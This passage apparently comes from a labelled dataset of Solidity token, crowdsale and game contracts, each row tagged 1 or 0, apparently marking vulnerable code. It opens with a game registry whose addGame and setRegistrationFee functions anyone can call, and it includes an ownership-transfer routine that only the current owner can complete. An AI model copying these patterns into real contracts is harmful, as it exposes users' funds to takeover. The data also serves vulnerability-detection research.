return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0);
games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0);
games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0);
}
function setRegistrationFee(uint256 _fee)
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,218 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public onlyOwner {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NSCDistributionContract is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _initialDistribution;
uint private _totalSupply;
uint256 public unitsOneEthCanBuy;
uint256 private totalEthInWei;
address private fundsWallet;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function NSCDistributionContract() public {
symbol = 'Pobeda';
name = 'PB';
decimals = 18;
_totalSupply = 500000000 * 10**uint(decimals);
_initialDistribution = 1000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
unitsOneEthCanBuy = 692;
fundsWallet = msg.sender;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
if (balances[fundsWallet] < amount) {
return;
}
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function send(address[] receivers, uint[] values) public payable {
for (uint i = 0; receivers.length > i; i++) {
sendTokens(receivers[i], values[i]);
}
}
function sendTokens (address receiver, uint token) public onlyOwner {
require(balances[msg.sender] >= token);
balances[msg.sender] -= token;
balances[receiver] += token;
Transfer(msg.sender, receiver, token);
}
function sendInitialTokens (address user) public onlyOwner {
sendTokens(user, balanceOf(owner));
}
} | 1 | 3,255 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "BatMine Token";
string public constant TOKEN_SYMBOL = "BATM";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xf11F32eC76025c7D23801cd0f16ba209C542c74a;
uint public constant START_TIME = 1547140500;
bool public constant CONTINUE_MINTING = true;
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[5] memory weiRaisedStartsBounds = [uint(0),uint(0),uint(0),uint(0),uint(0)];
uint[5] memory weiRaisedEndsBounds = [uint(154000000000000000000000),uint(154000000000000000000000),uint(154000000000000000000000),uint(154000000000000000000000),uint(154000000000000000000000)];
uint64[5] memory timeStartsBounds = [uint64(1547140526),uint64(1551366000),uint64(1552489200),uint64(1553094000),uint64(1553526000)];
uint64[5] memory timeEndsBounds = [uint64(1551366000),uint64(1552489200),uint64(1553094000),uint64(1553526000),uint64(1553785200)];
uint[5] memory weiRaisedAndTimeRates = [uint(400),uint(200),uint(100),uint(50),uint(30)];
for (uint i = 0; i < 5; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping (address => bool) private whitelist;
event WhitelistedAddressAdded(address indexed _address);
event WhitelistedAddressRemoved(address indexed _address);
modifier onlyIfWhitelisted(address _buyer) {
require(whitelist[_buyer]);
_;
}
function addAddressToWhitelist(address _address) external onlyOwner {
whitelist[_address] = true;
emit WhitelistedAddressAdded(_address);
}
function addAddressesToWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
emit WhitelistedAddressAdded(_addresses[i]);
}
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
delete whitelist[_address];
emit WhitelistedAddressRemoved(_address);
}
function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
delete whitelist[_addresses[i]];
emit WhitelistedAddressRemoved(_addresses[i]);
}
}
function isWhitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, RefundableCrowdsale
, WhitelistedCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(750 * TOKEN_DECIMAL_MULTIPLIER, 0x42d40e291d3de28ab091be1883c18c7069deb1fa, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1554040800)
CappedCrowdsale(154000000000000000000000)
RefundableCrowdsale(6640000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[5] memory addresses = [address(0x7120386b5c32e9c5d054414b1dc678a1da7eab63),address(0xb0f04b5954ceb0f800f9ce28cc518592e8f0d882),address(0x272b21eaf1ddcf3eeac5b84c5722f2f75b6e8a38),address(0xf404c08030d9d9ea8cd81025482458493f33e097),address(0xf791a2019f086f631c68ea1b447a77a04a382db0)];
uint[5] memory amounts = [uint(10500000000000000000000000),uint(105000000000000000000000000),uint(70000000000000000000000000),uint(24500000000000000000000000),uint(24500000000000000000000000)];
uint64[5] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 2000000000000000000;
return super.hasClosed() || remainValue;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 2000000000000000000);
require(msg.value <= 5000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 202 |
pragma solidity ^0.4.21;
contract TKTToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TKTToken() public {
totalSupply = 500000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "TKTSA";
symbol = "TKT";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,510 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract FixedMath {
using SafeMath for uint;
uint constant internal METDECIMALS = 18;
uint constant internal METDECMULT = 10 ** METDECIMALS;
uint constant internal DECIMALS = 18;
uint constant internal DECMULT = 10 ** DECIMALS;
function fMul(uint x, uint y) internal pure returns (uint) {
return (x.mul(y)).div(DECMULT);
}
function fDiv(uint numerator, uint divisor) internal pure returns (uint) {
return (numerator.mul(DECMULT)).div(divisor);
}
function fSqrt(uint n) internal pure returns (uint) {
if (n == 0) {
return 0;
}
uint z = n * n;
require(z / n == n);
uint high = fAdd(n, DECMULT);
uint low = 0;
while (fSub(high, low) > 1) {
uint mid = fAdd(low, high) / 2;
if (fSqr(mid) <= n) {
low = mid;
} else {
high = mid;
}
}
return low;
}
function fSqr(uint n) internal pure returns (uint) {
return fMul(n, n);
}
function fAdd(uint x, uint y) internal pure returns (uint) {
return x.add(y);
}
function fSub(uint x, uint y) internal pure returns (uint) {
return x.sub(y);
}
}
contract Formula is FixedMath {
function returnForMint(uint smartTokenSupply, uint reserveTokensSent, uint reserveTokenBalance)
internal pure returns (uint)
{
uint s = smartTokenSupply;
uint e = reserveTokensSent;
uint r = reserveTokenBalance;
return ((fMul(s, (fSub(fSqrt(fAdd(DECMULT, fDiv(e, r))), DECMULT)))).mul(METDECMULT)).div(DECMULT);
}
function returnForRedemption(uint smartTokenSupply, uint smartTokensSent, uint reserveTokenBalance)
internal pure returns (uint)
{
uint s = smartTokenSupply;
uint t = smartTokensSent;
uint r = reserveTokenBalance;
return ((fMul(r, (fSub(DECMULT, fSqr(fSub(DECMULT, fDiv(t, s))))))).mul(METDECMULT)).div(DECMULT);
}
}
contract Pricer {
using SafeMath for uint;
uint constant internal METDECIMALS = 18;
